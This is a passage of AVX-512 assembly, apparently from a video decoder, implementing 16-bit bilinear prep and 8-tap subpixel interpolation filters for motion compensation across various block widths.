REPX {psubw x, m6}, m0, m1, m2, m3
paddw m0, m7
paddw m1, m8
paddw m2, m9
paddw m3, m10
REPX {psraw x, 2}, m0, m1, m2, m3
mova [tmpq+64*0], m0
mova [tmpq+64*1], m1
mova [tmpq+64*2], m2
mova [tmpq+64*3], m3
add tmpq, 64*4
dec hd
jg .h_w128
RET
.v:
movzx wd, word [r6+wq*2+table_offset(prep, _bilin_v)]
vpbroadcastw m9, mxyd
vpbroadcastd m8, [pw_16]
vpbroadcastd m10, [pw_32766]
add wq, r6
lea stride3q, [strideq*3]
psubw m8, m9
test dword r7m, 0x800
jnz .v_12bpc
psllw m8, 2
psllw m9, 2
.v_12bpc:
jmp wq
.v_w4:
movq xmm0, [srcq+strideq*0]
.v_w4_loop:
vpbroadcastq xmm2, [srcq+strideq*1]
vpbroadcastq ymm1, [srcq+strideq*2]
vpbroadcastq ymm3, [srcq+stride3q ]
lea srcq, [srcq+strideq*4]
vpblendd ymm2, ymm1, 0x30
vpblendd ymm2, ymm3, 0xc0
vpblendd ymm1, ymm2, ymm0, 0x03 ; 0 1 2 3
movq xmm0, [srcq+strideq*0]
valignq ymm2, ymm0, ymm2, 1 ; 1 2 3 4
pmullw ymm1, ym8
pmullw ymm2, ym9
psubw ymm1, ym10
paddw ymm1, ymm2
psraw ymm1, 2
mova [tmpq], ymm1
add tmpq, 32
sub hd, 4
jg .v_w4_loop
vzeroupper
RET
.v_w8:
movu xm0, [srcq+strideq*0]
.v_w8_loop:
vinserti32x4 ym1, ym0, [srcq+strideq*1], 1
vinserti32x4 m1, [srcq+strideq*2], 2
vinserti32x4 m1, [srcq+stride3q ], 3 ; 0 1 2 3
lea srcq, [srcq+strideq*4]
movu xm0, [srcq+strideq*0]
valignq m2, m0, m1, 2 ; 1 2 3 4
pmullw m1, m8
pmullw m2, m9
psubw m1, m10
paddw m1, m2
psraw m1, 2
mova [tmpq], m1
add tmpq, 64
sub hd, 4
jg .v_w8_loop
RET
.v_w16:
movu ym0, [srcq+strideq*0]
.v_w16_loop:
vinserti32x8 m1, m0, [srcq+strideq*1], 1 ; 0 1
movu ym3, [srcq+strideq*2]
vinserti32x8 m2, m3, [srcq+stride3q ], 1 ; 2 3
lea srcq, [srcq+strideq*4]
movu ym0, [srcq+strideq*0]
vshufi32x4 m3, m1, m3, q1032 ; 1 2
vshufi32x4 m4, m2, m0, q1032 ; 3 4
pmullw m1, m8
pmullw m2, m8
pmullw m3, m9
pmullw m4, m9
psubw m1, m10
psubw m2, m10
paddw m1, m3
paddw m2, m4
psraw m1, 2
psraw m2, 2
mova [tmpq+64*0], m1
mova [tmpq+64*1], m2
add tmpq, 64*2
sub hd, 4
jg .v_w16_loop
RET
.v_w32:
movu m0, [srcq+strideq*0]
.v_w32_loop:
movu m3, [srcq+strideq*1]
lea srcq, [srcq+strideq*2]
pmullw m1, m8, m0
movu m0, [srcq+strideq*0]
pmullw m2, m8, m3
pmullw m3, m9
pmullw m4, m9, m0
psubw m1, m10
psubw m2, m10
paddw m1, m3
paddw m2, m4
psraw m1, 2
psraw m2, 2
mova [tmpq+64*0], m1
mova [tmpq+64*1], m2
add tmpq, 64*2
sub hd, 2
jg .v_w32_loop
RET
.v_w64:
movu m0, [srcq+64*0]
movu m1, [srcq+64*1]
.v_w64_loop:
add srcq, strideq
pmullw m2, m8, m0
movu m0, [srcq+64*0]
pmullw m3, m8, m1
movu m1, [srcq+64*1]
pmullw m4, m9, m0
pmullw m5, m9, m1
psubw m2, m10
psubw m3, m10
paddw m2, m4
paddw m3, m5
psraw m2, 2
psraw m3, 2
mova [tmpq+64*0], m2
mova [tmpq+64*1], m3
add tmpq, 64*2
dec hd
jg .v_w64_loop
RET
.v_w128:
movu m0, [srcq+64*0]
movu m1, [srcq+64*1]
movu m2, [srcq+64*2]
movu m3, [srcq+64*3]
.v_w128_loop:
add srcq, strideq
pmullw m4, m8, m0
movu m0, [srcq+64*0]
pmullw m5, m8, m1
movu m1, [srcq+64*1]
pmullw m6, m8, m2
movu m2, [srcq+64*2]
pmullw m7, m8, m3
movu m3, [srcq+64*3]
pmullw m11, m9, m0
pmullw m12, m9, m1
pmullw m13, m9, m2
pmullw m14, m9, m3
REPX {psubw x, m10}, m4, m5, m6, m7
paddw m4, m11
paddw m5, m12
paddw m6, m13
paddw m7, m14
REPX {psraw x, 2}, m4, m5, m6, m7
mova [tmpq+64*0], m4
mova [tmpq+64*1], m5
mova [tmpq+64*2], m6
mova [tmpq+64*3], m7
add tmpq, 64*4
dec hd
jg .v_w128_loop
RET
.hv:
movzx wd, word [r6+wq*2+table_offset(prep, _bilin_hv)]
shl mxyd, 11
vpbroadcastw m7, mxyd
add wq, r6
lea stride3q, [strideq*3]
jmp wq
.hv_w4:
movq xmm0, [srcq+strideq*0+0]
movq xmm1, [srcq+strideq*0+2]
pmullw xmm0, xm4
pmullw xmm1, xm5
psubw xmm0, xm6
paddw xmm0, xmm1
psraw xmm0, 2
vpbroadcastq ym0, xmm0
.hv_w4_loop:
movu xm1, [srcq+strideq*1]
vinserti128 ym1, [srcq+stride3q ], 1
movu xm2, [srcq+strideq*2]
lea srcq, [srcq+strideq*4]
vinserti128 ym2, [srcq+strideq*0], 1
punpcklqdq ym3, ym1, ym2
psrldq ym1, 2
psrldq ym2, 2
pmullw ym3, ym4
punpcklqdq ym1, ym2
pmullw ym1, ym5
psubw ym3, ym6
paddw ym1, ym3
psraw ym1, 2 ; 1 2 3 4
valignq ym2, ym1, ym0, 3 ; 0 1 2 3
mova ym0, ym1
psubw ym1, ym2
pmulhrsw ym1, ym7
paddw ym1, ym2
mova [tmpq], ym1
add tmpq, 32
sub hd, 4
jg .hv_w4_loop
RET
.hv_w8:
pmullw xm0, xm4, [srcq+strideq*0+0]
pmullw xm1, xm5, [srcq+strideq*0+2]
psubw xm0, xm6
paddw xm0, xm1
psraw xm0, 2
vinserti32x4 m0, xm0, 3
.hv_w8_loop:
movu xm1, [srcq+strideq*1+0]
movu xm2, [srcq+strideq*1+2]
vinserti32x4 ym1, [srcq+strideq*2+0], 1
vinserti32x4 ym2, [srcq+strideq*2+2], 1
vinserti32x4 m1, [srcq+stride3q +0], 2
vinserti32x4 m2, [srcq+stride3q +2], 2
lea srcq, [srcq+strideq*4]
vinserti32x4 m1, [srcq+strideq*0+0], 3
vinserti32x4 m2, [srcq+strideq*0+2], 3
pmullw m1, m4
pmullw m2, m5
psubw m1, m6
paddw m1, m2
psraw m1, 2 ; 1 2 3 4
valignq m2, m1, m0, 6 ; 0 1 2 3
mova m0, m1
psubw m1, m2
pmulhrsw m1, m7
paddw m1, m2
mova [tmpq], m1
add tmpq, 64
sub hd, 4
jg .hv_w8_loop
RET
.hv_w16:
pmullw ym0, ym4, [srcq+strideq*0+0]
pmullw ym1, ym5, [srcq+strideq*0+2]
psubw ym0, ym6
paddw ym0, ym1
psraw ym0, 2
vinserti32x8 m0, ym0, 1
.hv_w16_loop:
movu ym1, [srcq+strideq*1+0]
movu ym2, [srcq+strideq*1+2]
lea srcq, [srcq+strideq*2]
vinserti32x8 m1, [srcq+strideq*0+0], 1
vinserti32x8 m2, [srcq+strideq*0+2], 1
pmullw m1, m4
pmullw m2, m5
psubw m1, m6
paddw m1, m2
psraw m1, 2 ; 1 2
vshufi32x4 m2, m0, m1, q1032 ; 0 1
mova m0, m1
psubw m1, m2
pmulhrsw m1, m7
paddw m1, m2
mova [tmpq], m1
add tmpq, 64
sub hd, 2
jg .hv_w16_loop
RET
.hv_w32:
pmullw m0, m4, [srcq+strideq*0+0]
pmullw m1, m5, [srcq+strideq*0+2]
psubw m0, m6
paddw m0, m1
psraw m0, 2
.hv_w32_loop:
pmullw m3, m4, [srcq+strideq*1+0]
pmullw m1, m5, [srcq+strideq*1+2]
lea srcq, [srcq+strideq*2]
psubw m3, m6
paddw m3, m1
psraw m3, 2
psubw m1, m3, m0
pmulhrsw m1, m7
paddw m1, m0
pmullw m0, m4, [srcq+strideq*0+0]
pmullw m2, m5, [srcq+strideq*0+2]
psubw m0, m6
paddw m0, m2
psraw m0, 2
psubw m2, m0, m3
pmulhrsw m2, m7
paddw m2, m3
mova [tmpq+64*0], m1
mova [tmpq+64*1], m2
add tmpq, 64*2
sub hd, 2
jg .hv_w32_loop
RET
.hv_w64:
pmullw m0, m4, [srcq+ 0]
pmullw m2, m5, [srcq+ 2]
pmullw m1, m4, [srcq+64]
pmullw m3, m5, [srcq+66]
psubw m0, m6
psubw m1, m6
paddw m0, m2
paddw m1, m3
psraw m0, 2
psraw m1, 2
.hv_w64_loop:
add srcq, strideq
pmullw m2, m4, [srcq+ 0]
pmullw m8, m5, [srcq+ 2]
pmullw m3, m4, [srcq+64]
pmullw m9, m5, [srcq+66]
psubw m2, m6
psubw m3, m6
paddw m2, m8
paddw m3, m9
psraw m2, 2
psraw m3, 2
psubw m8, m2, m0
psubw m9, m3, m1
pmulhrsw m8, m7
pmulhrsw m9, m7
paddw m8, m0
mova m0, m2
paddw m9, m1
mova m1, m3
mova [tmpq+64*0], m8
mova [tmpq+64*1], m9
add tmpq, 64*2
dec hd
jg .hv_w64_loop
RET
.hv_w128:
pmullw m0, m4, [srcq+ 0]
pmullw m8, m5, [srcq+ 2]
pmullw m1, m4, [srcq+ 64]
pmullw m9, m5, [srcq+ 66]
pmullw m2, m4, [srcq+128]
pmullw m10, m5, [srcq+130]
pmullw m3, m4, [srcq+192]
pmullw m11, m5, [srcq+194]
REPX {psubw x, m6}, m0, m1, m2, m3
paddw m0, m8
paddw m1, m9
paddw m2, m10
paddw m3, m11
REPX {psraw x, 2}, m0, m1, m2, m3
.hv_w128_loop:
add srcq, strideq
pmullw m8, m4, [srcq+ 0]
pmullw m12, m5, [srcq+ 2]
pmullw m9, m4, [srcq+ 64]
pmullw m13, m5, [srcq+ 66]
pmullw m10, m4, [srcq+128]
pmullw m14, m5, [srcq+130]
pmullw m11, m4, [srcq+192]
pmullw m15, m5, [srcq+194]
REPX {psubw x, m6}, m8, m9, m10, m11
paddw m8, m12
paddw m9, m13
paddw m10, m14
paddw m11, m15
REPX {psraw x, 2}, m8, m9, m10, m11
psubw m12, m8, m0
psubw m13, m9, m1
psubw m14, m10, m2
psubw m15, m11, m3
REPX {pmulhrsw x, m7}, m12, m13, m14, m15
paddw m12, m0
mova m0, m8
paddw m13, m1
mova m1, m9
mova [tmpq+64*0], m12
mova [tmpq+64*1], m13
paddw m14, m2
mova m2, m10
paddw m15, m3
mova m3, m11
mova [tmpq+64*2], m14
mova [tmpq+64*3], m15
add tmpq, 64*4
dec hd
jg .hv_w128_loop
RET
; int8_t subpel_filters[5][15][8]
%assign FILTER_REGULAR (0*15 << 16) | 3*15
%assign FILTER_SMOOTH (1*15 << 16) | 4*15
%assign FILTER_SHARP (2*15 << 16) | 3*15
%macro MC_8TAP_FN 4 ; prefix, type, type_h, type_v
cglobal %1_8tap_%2_16bpc
mov t0d, FILTER_%3
%ifidn %3, %4
mov t1d, t0d
%else
mov t1d, FILTER_%4
%endif
%ifnidn %2, regular ; skip the jump in the last filter
jmp mangle(private_prefix %+ _%1_8tap_16bpc %+ SUFFIX)
%endif
%endmacro
%if WIN64
DECLARE_REG_TMP 4, 5
%define buf rsp+stack_offset+8 ; shadow space
%else
DECLARE_REG_TMP 7, 8
%define buf rsp-40 ; red zone
%endif
MC_8TAP_FN put, sharp, SHARP, SHARP
MC_8TAP_FN put, sharp_smooth, SHARP, SMOOTH
MC_8TAP_FN put, smooth_sharp, SMOOTH, SHARP
MC_8TAP_FN put, smooth, SMOOTH, SMOOTH
MC_8TAP_FN put, sharp_regular, SHARP, REGULAR
MC_8TAP_FN put, regular_sharp, REGULAR, SHARP
MC_8TAP_FN put, smooth_regular, SMOOTH, REGULAR
MC_8TAP_FN put, regular_smooth, REGULAR, SMOOTH
MC_8TAP_FN put, regular, REGULAR, REGULAR
cglobal put_8tap_16bpc, 4, 9, 16, dst, ds, src, ss, w, h, mx, my
%define base r8-put_avx512icl
imul mxd, mxm, 0x010101
add mxd, t0d ; 8tap_h, mx, 4tap_h
imul myd, mym, 0x010101
add myd, t1d ; 8tap_v, my, 4tap_v
lea r8, [put_avx512icl]
movifnidn wd, wm
movifnidn hd, hm
test mxd, 0xf00
jnz .h
test myd, 0xf00
jnz .v
tzcnt wd, wd
movzx wd, word [r8+wq*2+table_offset(put,)]
add wq, r8
%if WIN64
pop r8
%endif
jmp wq
.h_w2:
movzx mxd, mxb
sub srcq, 2
mova ym2, [spel_h_shuf2a]
pmovsxbw xmm4, [base+subpel_filters+mxq*8]
pshufd xmm3, xmm4, q1111
pshufd xmm4, xmm4, q2222
.h_w2_loop:
movu xm1, [srcq+ssq*0]
vinserti32x4 ym1, [srcq+ssq*1], 1
lea srcq, [srcq+ssq*2]
mova xmm0, xm8
vpermb ym1, ym2, ym1
vpdpwssd xmm0, xmm3, xm1
vextracti32x4 xm1, ym1, 1
vpdpwssd xmm0, xmm4, xm1
psrad xmm0, 6
packusdw xmm0, xmm0
pminsw xmm0, xm9
movd [dstq+dsq*0], xmm0
pextrd [dstq+dsq*1], xmm0, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .h_w2_loop
RET
.h_w4:
movzx mxd, mxb
sub srcq, 2
pmovsxbw xmm0, [base+subpel_filters+mxq*8]
vbroadcasti32x4 ym4, [spel_h_shufA]
vbroadcasti32x4 ym5, [spel_h_shufB]
pshufd xmm0, xmm0, q2211
vpbroadcastq ym6, xmm0
vpermq ym7, ymm0, q1111
.h_w4_loop:
movu xm2, [srcq+ssq*0]
vinserti32x4 ym2, [srcq+ssq*1], 1
lea srcq, [srcq+ssq*2]
mova ym0, ym8
pshufb ym1, ym2, ym4
vpdpwssd ym0, ym6, ym1
pshufb ym2, ym5
vpdpwssd ym0, ym7, ym2
psrad ym0, 6
vextracti32x4 xm1, ym0, 1
packusdw xm0, xm1
pminsw xmm0, xm0, xm9
movq [dstq+dsq*0], xmm0
movhps [dstq+dsq*1], xmm0
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .h_w4_loop
RET
.h:
test myd, 0xf00
jnz .hv
mov r7d, r8m
vpbroadcastw m9, r8m
shr r7d, 11
vpbroadcastd m8, [base+put_8tap_h_rnd+r7*4]
cmp wd, 4
je .h_w4
jl .h_w2
shr mxd, 16
sub srcq, 6
pmovsxbw xmm0, [base+subpel_filters+mxq*8]
mova [buf], xmm0
vpbroadcastd m10, xmm0
vpbroadcastd m11, [buf+ 4]
vpbroadcastd m12, [buf+ 8]
vpbroadcastd m13, [buf+12]
cmp wd, 16
je .h_w16
jg .h_w32
.h_w8:
mova m4, [spel_h_shufA]
movu m5, [spel_h_shufB]
movu m6, [spel_h_shufC]
mova m7, [spel_h_shufD]
.h_w8_loop:
movu ym2, [srcq+ssq*0]
vinserti32x8 m2, [srcq+ssq*1], 1
lea srcq, [srcq+ssq*2]
mova m0, m8
vpermb m1, m4, m2
vpdpwssd m0, m10, m1
vpermb m1, m5, m2
vpdpwssd m0, m11, m1
vpermb m1, m6, m2
vpdpwssd m0, m12, m1
vpermb m1, m7, m2
vpdpwssd m0, m13, m1
psrad m0, 6
vextracti32x8 ym1, m0, 1
packusdw ym0, ym1
pminsw ym0, ym9
mova [dstq+dsq*0], xm0
vextracti32x4 [dstq+dsq*1], ym0, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .h_w8_loop
RET
.h_w16:
vbroadcasti32x4 m6, [spel_h_shufA]
vbroadcasti32x4 m7, [spel_h_shufB]
.h_w16_loop:
movu ym2, [srcq+ssq*0+ 0]
vinserti32x8 m2, [srcq+ssq*1+ 0], 1
movu ym3, [srcq+ssq*0+16]
vinserti32x8 m3, [srcq+ssq*1+16], 1
lea srcq, [srcq+ssq*2]
mova m0, m8
mova m1, m8
pshufb m4, m2, m6
vpdpwssd m0, m10, m4 ; a0
pshufb m4, m3, m6
vpdpwssd m1, m12, m4 ; b2
pshufb m4, m2, m7
vpdpwssd m0, m11, m4 ; a1
pshufb m4, m3, m7
vpdpwssd m1, m13, m4 ; b3
shufpd m2, m3, 0x55
pshufb m4, m2, m6
vpdpwssd m0, m12, m4 ; a2
vpdpwssd m1, m10, m4 ; b0
pshufb m2, m7
vpdpwssd m0, m13, m2 ; a3
vpdpwssd m1, m11, m2 ; b1
psrad m0, 6
psrad m1, 6
packusdw m0, m1
pminsw m0, m9
mova [dstq+dsq*0], ym0
vextracti32x8 [dstq+dsq*1], m0, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .h_w16_loop
RET
.h_w32:
lea srcq, [srcq+wq*2]
vbroadcasti32x4 m6, [spel_h_shufA]
lea dstq, [dstq+wq*2]
vbroadcasti32x4 m7, [spel_h_shufB]
neg wq
.h_w32_loop0:
mov r6, wq
.h_w32_loop:
movu m2, [srcq+r6*2+ 0]
movu m3, [srcq+r6*2+ 8]
mova m0, m8
mova m1, m8
pshufb m4, m2, m6
vpdpwssd m0, m10, m4 ; a0
pshufb m4, m3, m6
vpdpwssd m1, m10, m4 ; b0
vpdpwssd m0, m12, m4 ; a2
movu m4, [srcq+r6*2+16]
pshufb m3, m7
vpdpwssd m1, m11, m3 ; b1
vpdpwssd m0, m13, m3 ; a3
pshufb m3, m4, m6
vpdpwssd m1, m12, m3 ; b2
pshufb m2, m7
vpdpwssd m0, m11, m2 ; a1
pshufb m4, m7
vpdpwssd m1, m13, m4 ; b3
psrad m0, 6
psrad m1, 6
packusdw m0, m1
pminsw m0, m9
mova [dstq+r6*2], m0
add r6, 32
jl .h_w32_loop
add srcq, ssq
add dstq, dsq
dec hd
jg .h_w32_loop0
RET
.v:
movzx mxd, myb
shr myd, 16
cmp hd, 6
cmovs myd, mxd
vpbroadcastd m10, [pd_32]
pmovsxbw xmm0, [base+subpel_filters+myq*8]
tzcnt r7d, wd
vpbroadcastw m11, r8m
lea r6, [ssq*3]
movzx r7d, word [r8+r7*2+table_offset(put, _8tap_v)]
sub srcq, r6
mova [rsp+stack_offset+8], xmm0
vpbroadcastd m12, xmm0
add r7, r8
vpbroadcastd m13, [rsp+stack_offset+12]
vpbroadcastd m14, [rsp+stack_offset+16]
vpbroadcastd m15, [rsp+stack_offset+20]
jmp r7
.v_w2:
movd xmm2, [srcq+ssq*0]
pinsrd xmm2, [srcq+ssq*1], 1
pinsrd xmm2, [srcq+ssq*2], 2
add srcq, r6
pinsrd xmm2, [srcq+ssq*0], 3 ; 0 1 2 3
movd xmm3, [srcq+ssq*1]
vpbroadcastd xmm1, [srcq+ssq*2]
add srcq, r6
vpbroadcastd xmm0, [srcq+ssq*0]
vpblendd xmm3, xmm1, 0x02 ; 4 5
vpblendd xmm1, xmm0, 0x02 ; 5 6
palignr xmm4, xmm3, xmm2, 4 ; 1 2 3 4
punpcklwd xmm3, xmm1 ; 45 56
punpcklwd xmm1, xmm2, xmm4 ; 01 12
punpckhwd xmm2, xmm4 ; 23 34
.v_w2_loop:
vpbroadcastd xmm4, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
mova xmm5, xm10
vpdpwssd xmm5, xm12, xmm1 ; a0 b0
mova xmm1, xmm2
vpdpwssd xmm5, xm13, xmm2 ; a1 b1
mova xmm2, xmm3
vpdpwssd xmm5, xm14, xmm3 ; a2 b2
vpblendd xmm3, xmm0, xmm4, 0x02 ; 6 7
vpbroadcastd xmm0, [srcq+ssq*0]
vpblendd xmm4, xmm0, 0x02 ; 7 8
punpcklwd xmm3, xmm4 ; 67 78
vpdpwssd xmm5, xm15, xmm3 ; a3 b3
psrad xmm5, 6
packusdw xmm5, xmm5
pminsw xmm5, xm11
movd [dstq+dsq*0], xmm5
pextrd [dstq+dsq*1], xmm5, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w2_loop
RET
.v_w4:
movq xmm1, [srcq+ssq*0]
vpbroadcastq ymm0, [srcq+ssq*1]
vpbroadcastq ymm2, [srcq+ssq*2]
add srcq, r6
vpbroadcastq ymm4, [srcq+ssq*0]
vpbroadcastq ymm3, [srcq+ssq*1]
vpbroadcastq ymm5, [srcq+ssq*2]
add srcq, r6
vpblendd ymm1, ymm0, 0x30
vpblendd ymm0, ymm2, 0x30
punpcklwd ymm1, ymm0 ; 01 12
vpbroadcastq ymm0, [srcq+ssq*0]
vpblendd ymm2, ymm4, 0x30
vpblendd ymm4, ymm3, 0x30
punpcklwd ymm2, ymm4 ; 23 34
vpblendd ymm3, ymm5, 0x30
vpblendd ymm5, ymm0, 0x30
punpcklwd ymm3, ymm5 ; 45 56
.v_w4_loop:
vpbroadcastq ymm5, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
mova ymm4, ym10
vpdpwssd ymm4, ym12, ymm1 ; a0 b0
mova ymm1, ymm2
vpdpwssd ymm4, ym13, ymm2 ; a1 b1
mova ymm2, ymm3
vpdpwssd ymm4, ym14, ymm3 ; a2 b2
vpblendd ymm3, ymm0, ymm5, 0x30
vpbroadcastq ymm0, [srcq+ssq*0]
vpblendd ymm5, ymm0, 0x30
punpcklwd ymm3, ymm5 ; 67 78
vpdpwssd ymm4, ym15, ymm3 ; a3 b3
psrad ymm4, 6
vextracti128 xmm5, ymm4, 1
packusdw xmm4, xmm5
pminsw xmm4, xm11
movq [dstq+dsq*0], xmm4
movhps [dstq+dsq*1], xmm4
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w4_loop
vzeroupper
RET
.v_w8:
vbroadcasti32x4 m2, [srcq+ssq*2]
vinserti32x4 m1, m2, [srcq+ssq*0], 0
vinserti32x4 m1, [srcq+ssq*1], 1 ; 0 1 2
add srcq, r6
vinserti32x4 ym2, [srcq+ssq*0], 1
vinserti32x4 m2, [srcq+ssq*1], 2 ; 2 3 4
mova m6, [spel_v_shuf8]
movu xm0, [srcq+ssq*1]
vinserti32x4 ym0, [srcq+ssq*2], 1
add srcq, r6
vinserti32x4 m0, [srcq+ssq*0], 2 ; 4 5 6
vpermb m1, m6, m1 ; 01 12
vpermb m2, m6, m2 ; 23 34
vpermb m3, m6, m0 ; 45 56
.v_w8_loop:
vinserti32x4 m0, [srcq+ssq*1], 3
lea srcq, [srcq+ssq*2]
movu xm5, [srcq+ssq*0]
mova m4, m10
vpdpwssd m4, m12, m1 ; a0 b0
mova m1, m2
vshufi32x4 m0, m5, q1032 ; 6 7 8
vpdpwssd m4, m13, m2 ; a1 b1
mova m2, m3
vpdpwssd m4, m14, m3 ; a2 b2
vpermb m3, m6, m0 ; 67 78
vpdpwssd m4, m15, m3 ; a3 b3
psrad m4, 6
vextracti32x8 ym5, m4, 1
packusdw ym4, ym5
pminsw ym4, ym11
mova [dstq+dsq*0], xm4
vextracti32x4 [dstq+dsq*1], ym4, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w8_loop
RET
.v_w16:
vbroadcasti32x8 m1, [srcq+ssq*1]
vinserti32x8 m0, m1, [srcq+ssq*0], 0
vinserti32x8 m1, [srcq+ssq*2], 1
mova m8, [spel_v_shuf16]
add srcq, r6
movu ym3, [srcq+ssq*0]
vinserti32x8 m3, [srcq+ssq*1], 1
movu ym5, [srcq+ssq*2]
add srcq, r6
vinserti32x8 m5, [srcq+ssq*0], 1
vpermb m0, m8, m0 ; 01
vpermb m1, m8, m1 ; 12
vpermb m3, m8, m3 ; 34
vpermb m5, m8, m5 ; 56
mova m9, [deint_q_shuf]
vpshrdd m2, m1, m3, 16 ; 23
vpshrdd m4, m3, m5, 16 ; 45
.v_w16_loop:
mova m6, m10
mova m7, m10
vpdpwssd m6, m12, m0 ; a0
mova m0, m2
vpdpwssd m7, m12, m1 ; b0
mova m1, m3
vpdpwssd m6, m13, m2 ; a1
mova m2, m4
vpdpwssd m7, m13, m3 ; b1
mova m3, m5
vpdpwssd m6, m14, m4 ; a2
mova m4, m5
vpdpwssd m7, m14, m5 ; b2
movu ym5, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
vinserti32x8 m5, [srcq+ssq*0], 1
vpermb m5, m8, m5 ; 78
vpshrdd m4, m5, 16 ; 67
vpdpwssd m6, m15, m4 ; a3
vpdpwssd m7, m15, m5 ; b3
psrad m6, 6
psrad m7, 6
packusdw m6, m7
pminsw m6, m11
vpermq m6, m9, m6
mova [dstq+dsq*0], ym6
vextracti32x8 [dstq+dsq*1], m6, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w16_loop
RET
.v_w32:
.v_w64:
.v_w128:
%if WIN64
movaps [rsp+stack_offset+8], xmm6
%endif
lea wd, [hq+wq*8-256]
mov r7, srcq
mov r8, dstq
.v_w32_loop0:
movu m16, [srcq+ssq*0]
movu m17, [srcq+ssq*1]
movu m18, [srcq+ssq*2]
add srcq, r6
movu m19, [srcq+ssq*0]
movu m20, [srcq+ssq*1]
movu m21, [srcq+ssq*2]
add srcq, r6
movu m22, [srcq+ssq*0]
punpcklwd m0, m16, m17 ; 01l
punpckhwd m16, m17 ; 01h
punpcklwd m1, m17, m18 ; 12l
punpckhwd m17, m18 ; 12h
punpcklwd m2, m18, m19 ; 23l
punpckhwd m18, m19 ; 23h
punpcklwd m3, m19, m20 ; 34l
punpckhwd m19, m20 ; 34h
punpcklwd m4, m20, m21 ; 45l
punpckhwd m20, m21 ; 45h
punpcklwd m5, m21, m22 ; 56l
punpckhwd m21, m22 ; 56h
.v_w32_loop:
mova m6, m10
vpdpwssd m6, m12, m0 ; a0l
mova m8, m10
vpdpwssd m8, m12, m16 ; a0h
mova m7, m10
vpdpwssd m7, m12, m1 ; b0l
mova m9, m10
vpdpwssd m9, m12, m17 ; b0h
mova m0, m2
vpdpwssd m6, m13, m2 ; a1l
mova m16, m18
vpdpwssd m8, m13, m18 ; a1h
mova m1, m3
vpdpwssd m7, m13, m3 ; b1l
mova m17, m19
vpdpwssd m9, m13, m19 ; b1h
mova m2, m4
vpdpwssd m6, m14, m4 ; a2l
mova m18, m20
vpdpwssd m8, m14, m20 ; a2h
mova m3, m5
vpdpwssd m7, m14, m5 ; b2l
mova m19, m21
vpdpwssd m9, m14, m21 ; b2h
movu m21, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
punpcklwd m4, m22, m21 ; 67l
punpckhwd m20, m22, m21 ; 67h
movu m22, [srcq+ssq*0]
vpdpwssd m6, m15, m4 ; a3l
vpdpwssd m8, m15, m20 ; a3h
punpcklwd m5, m21, m22 ; 78l
punpckhwd m21, m22 ; 78h
vpdpwssd m7, m15, m5 ; b3l
vpdpwssd m9, m15, m21 ; b3h
REPX {psrad x, 6}, m6, m8, m7, m9
packusdw m6, m8
packusdw m7, m9
pminsw m6, m11
pminsw m7, m11
mova [dstq+dsq*0], m6
mova [dstq+dsq*1], m7
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w32_loop
add r7, 64
add r8, 64
movzx hd, wb
mov srcq, r7
mov dstq, r8
sub wd, 1<<8
jg .v_w32_loop0
%if WIN64
movaps xmm6, [rsp+stack_offset+8]
%endif
vzeroupper
RET
.hv:
vpbroadcastw m11, r8m
cmp wd, 4
jg .hv_w8
movzx mxd, mxb
pmovsxbw xmm0, [base+subpel_filters+mxq*8]
movzx mxd, myb
shr myd, 16
cmp hd, 6
cmovs myd, mxd
pmovsxbw xmm1, [base+subpel_filters+myq*8]
lea r6, [ssq*3]
sub srcq, 2
sub srcq, r6
test dword r8m, 0x800
jnz .hv_12bit
vpbroadcastd m10, [pd_2176]
psllw xmm0, 6
jmp .hv_main
.hv_12bit:
vpbroadcastd m10, [pd_640]
psllw xmm0, 4
psllw xmm1, 2
.hv_main:
mova [buf+ 0], xmm0
mova [buf+16], xmm1
vpbroadcastd m8, [buf+ 4]
vpbroadcastd m9, [buf+ 8]
vpbroadcastd ym12, xmm1
vpbroadcastd ym13, [buf+20]
vpbroadcastd ym14, [buf+24]
vpbroadcastd ym15, [buf+28]
movu xm4, [srcq+ssq*0]
vinserti32x4 ym4, [srcq+ssq*1], 1
vinserti32x4 m4, [srcq+ssq*2], 2
add srcq, r6
vinserti32x4 m4, [srcq+ssq*0], 3 ; 0 1 2 3
movu xm0, [srcq+ssq*1]
vinserti32x4 ym0, [srcq+ssq*2], 1
add srcq, r6
vinserti32x4 m0, [srcq+ssq*0], 2 ; 4 5 6
cmp wd, 4
je .hv_w4
vbroadcasti32x4 m2, [spel_h_shufA]
mova m3, [spel_h_shuf2b]
mova ym6, [spel_h_shuf2a]
mova xm7, [spel_shuf2]
mova m1, m10
pshufb m4, m2
pshufb m0, m2
punpcklqdq m2, m4, m0
vpdpwssd m1, m8, m2 ; 04 15 26 3_
punpckhqdq m4, m0
vpdpwssd m1, m9, m4
vpermb m1, m3, m1 ; 01 12
vextracti32x4 xm2, ym1, 1 ; 23 34
vextracti32x4 xm3, m1, 2 ; 45 56
.hv_w2_loop:
movu xm5, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
vinserti32x4 ym5, [srcq+ssq*0], 1
mova xm4, xm10
vpermb ym5, ym6, ym5
pmaddwd xmm0, xm12, xm1 ; a0 b0
vpdpwssd xm4, xm8, xm5
vextracti32x4 xm5, ym5, 1
mova xm1, xm2
vpdpwssd xmm0, xm13, xm2 ; a1 b1
vpdpwssd xm4, xm9, xm5 ; 7 8
mova xm2, xm3
vpdpwssd xmm0, xm14, xm3 ; a2 b2
vpermt2b xm3, xm7, xm4 ; 67 78
vpdpwssd xmm0, xm15, xm3 ; a3 b3
psrad xmm0, 10
packusdw xmm0, xmm0
pminsw xmm0, xm11
movd [dstq+dsq*0], xmm0
pextrd [dstq+dsq*1], xmm0, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .hv_w2_loop
RET
.hv_w4:
vbroadcasti32x4 m19, [spel_h_shufA]
vbroadcasti32x4 m20, [spel_h_shufB]
